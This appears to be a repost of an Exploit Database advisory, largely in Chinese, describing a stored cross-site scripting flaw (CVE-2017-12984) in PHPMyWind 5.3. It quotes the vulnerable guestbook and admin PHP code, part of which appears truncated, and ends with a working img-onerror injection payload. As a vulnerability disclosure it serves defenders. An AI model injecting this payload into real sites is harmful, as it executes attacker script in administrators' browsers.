PHPMyWind 5.3 – Cross-Site Scripting

Exploit Database
106 阅读

作者：小雨

日期： 2017-08-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/42535/

Exploit Title：PHPMyWind 5.3 has XSS

Exploit Author:小雨

Vendor Homepage:http://phpmywind.com

Software Link:http://phpmywind.com/downloads/PHPMyWind_5.3.zip

Version:5.3

CVE:CVE-2017-12984

$r= $dosql->GetOne("SELECT Max(orderid) AS orderid FROM <code>#@__message</code>");

$orderid= (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));

$nickname= htmlspecialchars($nickname);//游客(xxx)

$contact= htmlspecialchars($contact); //联系方式

$content= htmlspecialchars($content); //留言内容

$posttime= GetMkTime(time());

$ip= gethostbyname($_SERVER['REMOTE_ADDR']);

$sql= "INSERT INTO <code>#@__message</code> (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";

if($dosql->ExecNoneQuery($sql))

{

ShowMsg('留言成功，感谢您的支持！','message.php');

exit();

}

可以看出使用htmlspecialchars进行过滤,带入库中.

跟进content参数。

127.0.0.1/PHPMyWind_5.3/admin/ message_update.php

<?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

</head>

<body>

<?php

$row = $dosql->GetOne("SELECT * FROM <code>#@__message</code> WHERE <code>id</code>=$id");

<tr>

</tr>

<tr>

</tr>

<tr>

p:33

后台直接取出content参数,数据并未进行转义操作。

EXP: “><img/src=x onerror=alert(2001)><“‘